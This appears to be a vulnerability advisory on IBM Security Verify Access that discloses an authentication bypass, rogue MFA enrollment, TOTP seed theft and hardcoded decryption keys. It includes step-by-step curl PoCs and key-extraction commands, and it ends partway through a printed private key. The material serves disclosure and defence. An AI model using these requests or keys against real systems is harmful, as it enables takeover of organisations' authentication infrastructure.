IBM Security Verify Access is a complete authorization and network security policy management solution. It provides end-to-end protection of resources over geographically dispersed intranets and extranets. In addition to state-of-the-art security policy management, IBM Security Verify Access provides authentication, authorization, data security, and centralized resource management capabilities.
IBM Security Verify Access offers the following features:
- Authentication
Provides a wide range of built-in authenticators and supports external authenticators.
- Authorization
Provides permit and deny decisions for protected resources requests in the secure domain through the authorization API.
- Data security and centralized resource management
Manages secure access to private internal network-based resources by using the public Internet's broad connectivity and ease of use with a corporate firewall system.
From https://www.ibm.com/docs/en/sva/10.0.8?topic=overview-introduction-security-verify-access
Vulnerable versions: IBM Security Verify Access < 10.0.8.
The summary of the vulnerabilities is as follows:
cluster
userTL;DR: An attacker can compromise IBM Security Verify Access using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities). IBM Security Verify Access is a SSO solution mainly used by banks, Fortune 500 companies and governmental entities.
Miscellaneous notes:
The vulnerabilities were found in October 2022 and were communicated to IBM at the beginning of 2023. They ultimately were patched at the end of June 2024 (after 18 months). Requiring 1.5 years to provide security patches for vulnerabilities found in a SSO solution does not appear to be in par with current cybersecurity risks and is quite worrying. Update: Following communications with IBM PSIRT in September 2024 regarding missing CVEs and the publication of this security advisory, it was confirmed that at least one vulnerability was not yet patched (a 2017 DoS in libinjection, no CVE).
The vulnerabilities were patched progressively in the 10.0.6, 10.0.7 and 10.0.8 versions. It is unclear if all the non-assigned CVE vulnerabilities have been patched but IBM confirmed that all the vulnerabilities were patched and then IBM closed all the corresponding tickets.
Other issues had been reported but ultimately were dismissed (e.g. hard-to-trigger crashes and I did not have any time left for this security assessment).
Communication with IBM was difficult since IBM closed the tickets used to track the vulnerabilities multiple times without releasing any security patches. The timeline provided at the later part of this advisory provides an overview of the interactions I have had with IBM. IBM PSIRT redirected queries to IBM support and IBM support provided extremely disappointing answers to vulnerabilities. When I went back to IBM PSIRT with these answers, IBM PSIRT refused them and provided opposite answers. Reporting vulnerabilities to IBM was also inefficient. When I asked IBM for missing CVEs in September 2024, IBM PSIRT confirmed that patches were missing. All the tickets were already closed in June 2024 by IBM and I previously received confirmation that all the vulnerabilities had been patched.
Security bulletins were mainly found by following @CVEnew and I had to guess the patched vulnerabilities from the CVE descriptions. After some requests, thankfully, IBM sent me a list of CVEs corresponding to the vulnerabilities I reported.
It appears that some CVEs are still missing.
Finally, another CVE (CVE-2023-38371, not present in this advisory) was assigned by IBM but refers to an issue (V-[REDACTED] - Insecure SSLv3 connections to the DSC servers in the report sent to IBM) that was confirmed not to be a vulnerability by IBM and by me, after a second analysis. This CVE is likely to be revoked. Update: IBM confirmed in September 2024 that this CVE was bogus after I signaled IBM that this is an incorrect CVE.
Impacts
An attacker can compromise the entire authentication infrastructure based on IBM Security Verify Access (ISAM/ISVA appliances and IBM Docker images) using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities). Regarding the threat model, it is worth noting that attackers must be able to MITM traffic or get access inside the LAN of the tested organizations to exploit these vulnerabilities.
When the IBM Security Verify Access (ISVA) runtime docker instance (a core component of this solution) is reachable over the network, an attacker can bypass the entire authentication and interact with this back-end instance as any user, providing a complete control over any user without authentication. The IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities and is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users (for example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn...). The back-end APIs provided by the IBM Security Verify Access runtime docker instance are vulnerable to an authentication bypass vulnerability. Since the back-end is fully reachable, this vulnerability allows an attacker to get persistence in a targeted infrastructure by enrolling malicious Multi-Factor Authenticators to any user, without authentication (e.g. an authenticator assigned to any user, protected by a PIN (or not) chosen by the threat actor). In an offensive scenario, an attacker will likely delete authenticators for admins and security team and enroll new authenticators corresponding to admin accounts and get full control over the infrastructure while locking out legit admins.
This vulnerability has not been patched and IBM recommends implementing network restrictions or using mutual TLS authentication and following best practices:
Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication.
And from https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters
Note that even with network restrictions, a low privileged user on a trusted machine can fully compromise the authentication solution, since the back-end used to manage the entire authentication infrastructure can be reached without authentication by sending a specific HTTP header. Network exposure of this back-end (e.g. with IPv6, from monitoring servers, from docker servers, from webseal servers [that must, by design, reach the authentication back-end], or using a SSRF vulnerability) means a full take over of the authentication infrastructure, which can be quite problematic for large organizations.
Recommendations
Shodan provides a list of websites using this technology. For SOC teams, I suggest using Shodan to check if your organization is using IBM Security Verify Access and following IBM's security recommendations. Please note that due to the versatility of this solution, it is very difficult to correctly detect affected installations using a blackbox approach:
It is possible to compromise the authentication mechanism and the authentication infrastructure by reaching the APIs provided by the IBM Security Verify Runtime Docker instance.
The threat model for this vulnerability requires an attacker with network connectivity to the IBM Security Verify Runtime Docker instance (i) from the Internet (if this service is insecurely exposed) or (ii) more likely from within LAN of the audited organization (meaning the threat actor can reach the HTTPS server of IBM Security Verify Runtime Docker instance).
The IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities. It is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users. For example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn...
The different authentication mechanisms in the APIs provided by the Runtime Docker instance used to manage users (e.g. adding an authenticator for a specific user, removing an authenticator, getting seeds, ...) can be trivially bypassed by specifying an additional HTTP header iv-user: target-user
(e.g. iv-user: admin
) in the HTTPS requests.
Adding an additional HTTP header iv-user: target-user
when querying the APIs will provide a complete control over the target-user
.
There is a HTTPs server reachable on port 443/tcp providing APIs:
Usually, the IBM Security Verify Runtime Docker instance is only reached by WebSEAL servers (reverse-proxies managing authentication), after a successful authentication as easuser
, as shown below:
Documentation from https://www.ibm.com/docs/SSPREK_10.0.0/com.ibm.isva.doc/config/reference/ref_isamcfg_wga_worksheet.htm:
Select the method for authentication between WebSEAL and the Advanced Access Control runtime listening interface
Certificate authentication
Use a certificate to authenticate between WebSEAL and the Advanced Access Control runtime listening interface.
User ID and password authentication
Use credentials to authenticate between WebSEAL and the Advanced Access Control runtime listening interface. The default username is easuser and the default password is passw0rd.
Attack scenario: an attacker will reach the HTTPS APIs provided by the IBM Security Verify Runtime Docker instance and will not use a SSL Certificate or any credential used to manage the instance (easuser
).
Note that while the WebSEAL are exposed to the Internet, the runtime instance is located inside the LAN and is not usually exposed to the Internet. The attacker needs to be located inside the LAN to reach the vulnerable APIs.
According to the documentation at https://www.ibm.com/docs/en/sva/10.0.7, we can see that the APIs are always reachable using the /mga/sps/*
path. Actually, the /mga/
route seems to be managed by WebSEAL servers while the /sps/*
routes are managed by the runtime docker instance.
Without authentication, an attacker can reach the IBM Security Verify Runtime Docker image docker instance by reaching, for example, the /sps/oauth/oauth20/authorize?client_id=ClientID&response_type=code&scope=mmfaAuthn
API endpoint and specifying which target user to compromise using the additional HTTP header iv-user: target-user
. This specific endpoint is used to enroll a new Multiple-Factor Authenticator (e.g. the official IBM Security Verify app) for the target-user
user.
By specifying the HTTP header iv-user: target-user
, an attacker can interact with all the APIs located in /sps/*
for any user, without authentication.
Listing of authenticators without any cookie or HTTP header - this non-intrusive request allows detecting a vulnerable IBM Security Verify Runtime Docker instance configured to use MFA.
kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators | jq .
{
"result": "FBTRBA306E The user management operation failed because the user is not authenticated."
}
Listing of authenticators for the target-user
- with iv-user
HTTP header (without session cookies nor specific credentials):
kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H "iv-user: target-user" | jq .
[
{
"device_name": "Iphone 13 Pro Max",
"oauth_grant": "uuida71[REDACTED]",
"auth_methods": [],
"os_version": "13",
"device_type": "[REDACTED]",
"id": "uuid20[REDACTED]",
"enabled": true
},
{
"device_name": "Iphone 13 Pro Max",
"oauth_grant": "uuida71[REDACTED]",
"auth_methods": [],
"os_version": "13",
"device_type": "[REDACTED]",
"id": "uuid20[REDACTED]",
"enabled": true
},
[...]
kali%
It is possible to enroll any new authenticator for the user target without authentication by reaching the IBM Security Verify Runtime instance and specifying iv-user: target-user
in the HTTP header:
A PoC is provided below. The provided secret code allows enrolling a new authenticator for the target user target-user
. Note that the client_id
variable must be edited as we use the specific TestAuthenticatorClient client identifier.
The valid client_id
variable can be retrieved from the /sps/mga/user/mgmt/grant
API:
kali% curl -kv -H "iv-user: target-user" https://test-runtime/sps/mga/user/mgmt/grant | jq .
{
"grants": [
{
"id": "uuida71[REDACTED]",
"isEnabled": true,
"clientId": "TestAuthenticatorClient",
[...]
I suggest using the specific client_id
identifier configured in the targeted instance. The correct client_id
identifier can also be obtained by visiting https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html
. The device_selection.html
webpage is just a front-end to get access to several APIs:
For example, visiting a remote IBM Security Verify Runtime instance athttps://url/sps/mga/user/mgmt/html/device/device_selection.html
without an iv-user: target-user
HTTP header will return empty information (since the resulting requests sent to APIs are not "authenticated"):
Visiting the same address https://url/sps/mga/user/mgmt/html/device/device_selection.html
using Burp Suite Pro, and (i) adding a HTTP Header iv-user: target-user
in all the resulting HTTP requests and (ii) rewriting the URL from ^\/mga\/sps\/
to \/sps\/
(since the /mga/
path is hardcoded in JavaScript code) will now provide a full access for the target-user
(adding an authenticator, deleting an authenticator, adding passkeys, ...).
An attacker can also add an new authenticator for any user using curl:
PoC:
kali% curl -kv "https://test-runtime/sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient&response_type=code&scope=mmfaAuthn" -H "iv-user: target-user"
* Host test-runtime:443 was resolved.
* IPv6: (none)
* IPv4: 10.0.0.15
* Trying 10.0.0.15:443...
* Connected to test-runtime (10.0.0.15) port 443
* using HTTP/1.x
> GET /sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient&response_type=code&scope=mmfaAuthn HTTP/1.1
> Host: test-runtime
> User-Agent: curl/8.5.0
> Accept: */*
> iv-user: target-user
>
< HTTP/1.1 302 Found
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Location: https://enroll-url/mga/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient&code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y
< Content-Language: en-US
< Transfer-Encoding: chunked
< Date: Sat, 07 Sep 2024 12:07:21 GMT
< Expires: Thu, 01 Dec 1994 16:00:00 GMT
< Cache-Control: no-store, no-cache=set-cookie
<
* Connection #0 to host test-runtime left intact
The resulting secret code
provided in the HTTP answer can be used to enroll an official IBM Security Verify application corresponding to the target-user
.
In order to import this secret token inside an IBM Verify Security application (an authenticator), we can:
https://test-runtime/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient&code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y
webpage (without /mga
at the beginning of the URL) and scan the generated QR code; Burp Suite Pro is required to replace all the API calls from /mga/sps/
to /sps/
; or/sps/mmfa/user/mgmt/qr_code/json
API to get the json encoded data inside the QR code (using ?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&client_id=TestAuthenticatorClient
) and generate the QR code (note that in the next HTTP answer, the ignoreSslCerts=true
is not the default option); orGET /sps/mmfa/user/mgmt/qr_code/json?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&client_id=TestAuthenticatorClient HTTP/1.1 Host: test-runtime iv-user: target-user User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: SAMEORIGIN Pragma: no-cache Content-Language: en-US Connection: Close Date: Sat, 07 Sep 2024 20:39:55 GMT Expires: Thu, 01 Dec 1994 16:00:00 GMT Cache-Control: no-store, no-cache=set-cookie Content-Length: 202 {"code":"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y","options":"ignoreSslCerts=true", "details_url":"https:\/\/enroll-url\/mga\/sps\/mmfa\/user\/mgmt\/details", "version":1,"client_id":"TestAuthenticatorClient"}
reach the /mga/sps/mmfa/user/mgmt/qr_code/json
API (provided by any targeted WebSEAL servers from the same infrastructure, including Internet-faced WebSEAL servers) to get the json encoded data inside the QR code (using ?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&client_id=TestAuthenticatorClient
) and generate the QR code; or
simply locally generate the QR code containing the JSON data as shown below using the qrencode
program:
kali% qrencode -o picture.png '{"code":"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y","options":"ignoreSslCerts=false","details_url":"https:\/\/enroll-url\/mga\/sps\/mmfa\/user\/mgmt\/details","version":1,"client_id":"TestAuthenticatorClient"}'
Then the QR code needs to be scanned using the official IBM Verify Security App in order to enroll a new device. By default, the specific https://enroll-url/mga/sps/mmfa/user/mgmt/details
is always reachable from the Internet in order to successfully enroll smartphones.
The official IBM Security Verify application has been used and successfully enrolled for the target-user
and can now be used to authenticate as target-user
:
The device has been correctly enrolled from the Internet as shown below, by using the /sps/mmfa/user/mgmt/authenticators
API without authentication.
kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H "iv-user: target-user" | jq .
[
{
"device_name": "Samsung S22",
"oauth_grant": "uuida72253ef[REDACTED]",
"auth_methods": [
{
"key_handle": "32e[REDACTED].userPresence",
"id": "uuidb694[REDACTED]",
"type": "user_presence",
"enabled": true,
"algorithm": "SHA256withRSA"
}
],
"os_version": "13",
"device_type": "[REMOVED]",
"id": "uuidb4fde[REDACTED]",
"enabled": true
},
[...]
Furthermore, all the APIs in /sps/*
are directly reachable by specifying the HTTP header iv-user: target-user
.
We can also list the secret key for the seed corresponding to OTP:
kali% curl -ks https://test-runtime/sps/mga/user/mgmt/otp/totp -H "iv-user: target-user" | jq .
{
"period": "30",
"secretKeyUrl": "otpauth://totp/Example:target-user"?secret=NSJ[REDACTED][REDACTED][REDACTED]&issuer=Example",
"secretKey": "NSJ[REDACTED][REDACTED][REDACTED]",
"digits": "6",
"username": "target-user",
"algorithm": "HmacSHA1"
}
All the APIs located in /sps/
are vulnerable to this authentication bypass.
As shown previously, it is possible to bypass the entire authentication and interact with the IBM Security Verify runtime docker instance as any user.
An attacker can enroll a device for any user, bypassing the entire access controls, and get control over the infrastructure. Since the back-end is fully reachable, an attacker can also delete any authenticator for any user.
At the time of the security assessment (October 2022), I was not able to find any official documentation that recommends not exposing the runtime instance to the network, since the runtime APIs are password protected.
The latest ISVA release (10.0.8) implements an optional authentication based on SSL certificates. It is strongly recommended to implement this authentication mechanism and not to expose the ISVA runtime instance to the network.
Without this optional authentication, any malicous actor (i) with access to WebSEAL servers (with a shell or a SSRF vulnerability) or (ii) with direct network access to the runtime instance, or (iii) with a shell access to any 'trusted' machine (e.g. a monitoring server querying the HTTPS server of ISVA runtime), or (iv) with a low-privilege shell on the docker server running the solution, can completely compromise the authentication infrastructure, without credentials.
Regarding the official recommendations, IBM recommends (i) not to expose the runtime instance to untrusted clients or (ii) to implement SSL-based certificate authentication and follow the following best practices. IBM provided these references as official responses regarding this issue:
Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication.
From my understanding, this vulnerability is not going to be patched (no security bulletin was published and no CVE has been assigned, ticket has been closed as solved) because, according to the official recommendations, it is the customer's responsability to filter any communication to the runtime instance. This present security advisory will allow offensive and defensive security teams to correctly understand and improve their security posture.
About the detection of insecure instances, a HTTPS request to the /sps/
route providing the banner Server: IBM Security Verify Access
in the HTTPS answer will allow SOC team to detect an instance. The banner will not appear when reaching https://test-runtime/
). If MFA is used, a HTTP request to /sps/mga/user/mgmt/html/device/device_selection.html
(port 443
or 9443
, by default) will allow SOC team to detect an insecure ISVA runtime instance. An answer indicating 200 OK
with the content of the device_selection.html
webpage will indicate that the tested instance is probably insecure:
kali% curl -k https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html
[...]
< HTTP/1.1 200 OK
< X-Frame-Options: SAMEORIGIN
< Server: IBM Security Verify Access
< Content-Type: text/html;charset=UTF-8
[...]
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Device Selection</title>
<link type="text/css" rel="stylesheet" href="/sps/static/design.css"></link>
<link type="text/css" rel="stylesheet" href="/sps/mga/user/mgmt/html/device/device_selection.css"></link>
<script type="text/javascript" src="/sps/mga/user/mgmt/html/mgmt_msg.js"></script>
<script type="text/javascript" src="/sps/static/u2fI18n.js"></script>
<script type="text/javascript" src="/sps/mga/user/mgmt/html/common.js"></script>
<script type="text/javascript" src="/sps/mga/user/mgmt/html/device/device_selection.js"></script>
On a side note, from my tests, the APIs are also exposed with authentication from the Internet by visiting https://enroll-url/mga/sps/mga/user/mgmt/html/device/device_selection.html
. If device_selection.html
is blocked, it is simply possible to inject the correct answer with Burp Suite Pro (using the device_selection.html
webpage available in official IBM Docker images) and the previous /mga/sps/
APIs are still reachable since they are needed to successfully enroll an authenticator from the Internet (e.g. the official IBM Verify Security App running on a smartphone). An attacker that enrolled a rogue authenticator to a compromised account can get persistence access from the Internet even if the runtime instance is not reachable anymore or if the "regular" ISVA servers are only reachable from inside the company: the APIs provided by the Internet-faced enrolling server will allow the attackers to enroll new authenticators and retrieve current seeds.
Furthermore, with Internet-faced servers (by design, to enroll authenticators) and an authenticated session, the attack surface is quite big.
It is also possible to list the target version of a Internet-faced instance (proxifed through WebSEAL) by visiting the /mga/sps/mmfa/user/mgmt/details
API (when MFA is enabled in ISVA):
curl -s https://internet-faced-website/mga/sps/mmfa/user/mgmt/details | jq .
{
"authntrxn_endpoint": "https://info.domain.tld/scim/Me?attributes=urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:transactionsPending,urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:attributesPending",
"metadata": {
"service_name": "Organisation",
"qrlogin_endpoint": "https://info.domain.tld/mga/sps/authsvc?PolicyId=urn:ibm:security:authentication:asf:qrcode_response"
[...]
"enrollment_endpoint": "https://info.domain.tld/scim/Me",
[...]
"version": "10.0.8.0",
[...]
}
The official Docker images have been retrieved and analyzed on a local machine:
kali-docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB
ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB
ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB
ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB
kali-docker# docker save 498e181d7395 > ibmcom/verify-access-runtime.tar
kali-docker# docker save c0003aca743c > ibmcom/verify-access-wrp.tar
kali-docker# docker save 206efdd7809c > ibmcom/verify-access.tar
kali-docker# docker save 959f6f1095e9 > ibmcom/verify-access-dsc.tar
It was observed that instances contain custom encryption/decryption keys (device_key.kdb
and device_key.sth
files) located inside /var/.ca/
.
These keys are used by the isva_decrypt
utility present in all the images. For example, the /usr/sbin/bootstrap.sh
script will decrypt the stored openldap.zip file using isva_decrypt
:
Content of /usr/sbin/bootstrap.sh
:
[...]
# Decrypt and extract the LDAP configuration.
isva_decrypt $snapshot_tmp_dir/openldap.zip
unzip -q -o $snapshot_tmp_dir/openldap.zip -d /
[...]
When doing an analysis on the official IBM images obtained on Docker Hub, we can confirm the keys (device_key.kdb
and device_key.sth
) are in fact hardcoded inside these official IBM images and some of them are also world-readable by default:
kali-docker# ls -la */*/var/.ca/*
-rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
-rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth
-rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb
-rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth
-rw------- 1 root root 5991 Jun 8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb
-rw------- 1 root root 193 Jun 8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth
-rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb
-rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth
kali-docker# sha256sum */*/var/.ca/*|sort|uniq
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb
Using these keys and the IBM Crypto for C
programs, we can successfully decrypt the openldap.zip
file - an encrypted zip file - available inside the default.snapshot
file - this file contains the entire configuration of ISVA and is stored inside Docker instances or retrieved over the network. The openldap.zip
file contains all the configuration options of the instance and is consequently extremely sensitive (to decrypt it using isva_decrypt
, it is required to create a /var/.ca
directory containing device_key.kdb
and device_key.sth
in a test machine):
kali-decryption% LD_LIBRARY_PATH=/home/user/gsk8_64/lib64 strace ./isva_decrypt openldap.zip
[...]
writev(5, [{iov_base="", iov_len=0}, {iov_base="2s\0\0etc/openldap/schema/nis.ldif"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="\321\0\0etc/openldap/schema/collectiv"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="\0etc/openldap/slapd-replica.conf"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="data/secAuthority-default/__db.0"..., iov_len=1024}], 2) = 1024
read(4, "\271=b\223\205\320\277\365\207\302#T\255\355\374Ct\222\332M`3%\341\361I\301\233j\34\1\355"..., 8191) = 1124
writev(5, [{iov_base="", iov_len=0}, {iov_base="PK\1\2\36\3\24\0\0\0\10\0\4Z-UQ\202\212<V\2\0\0\0 \0\0000\0\30\0"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="+\0\30\0\0\0\0\0\0\0\0\0\200\201\256\213\7\0var/openldap/d"..., iov_len=1024}], 2) = 1024
read(4, "", 8191) = 0
close(4) = 0
write(5, "\5\0\3\250\302\36cux\v\0\1\4\0\0\0\0\4\0\0\0\0PK\5\6\0\0\0\0[\0"..., 44) = 44
close(5) = 0
unlink("openldap.zip") = 0
rename("/tmp/tmp.pxiQjh", "openldap.zip") = 0
unlink("/tmp/tmp.pxiQjh") = -1 ENOENT (No such file or directory)
close(3) = 0
exit_group(0) = ?
+++ exited with 0 +++
kali-decryption% file openldap.zip
openldap.zip: Zip archive data, at least v1.0 to extract, compression method=store
While doing an analysis of the zip file, we can find:
etc/openldap/dynamic/replica-1.conf
and etc/openldap/dynamic/passwd.conf
)etc/openldap/dynamic/server.key
)The unique kdb files (encrypted archives containing public and private keys) found in the IBM Docker images have also been decrypted (using the corresponding stash files) and analyzed:
kali-docker# j=0; for file in ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb; do echo $file; LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw password ; openssl pkcs12 -in /tmp/tmp.p12 -out /tmp/export_${j}.pem -nodes -passin pass:password;j=$(($j+1));rm /tmp/tmp.p12;done
./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb
./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb
./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
This allows an attacker to extract several private keys:
Bag Attributes
friendlyName: ca
localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5d1UkBCpTmK74
01RqSKl42SInA0B8zgbLgZG+HPoniIgwzbu4lRJSFGaGjnuJH1ccWPvxuDtv5R26
X4EhnL9RewJiHDTq1RRnP/XqQja3uHwsKC4yUlyvhBcX+FcoTKzq4y724ZZs2GIM
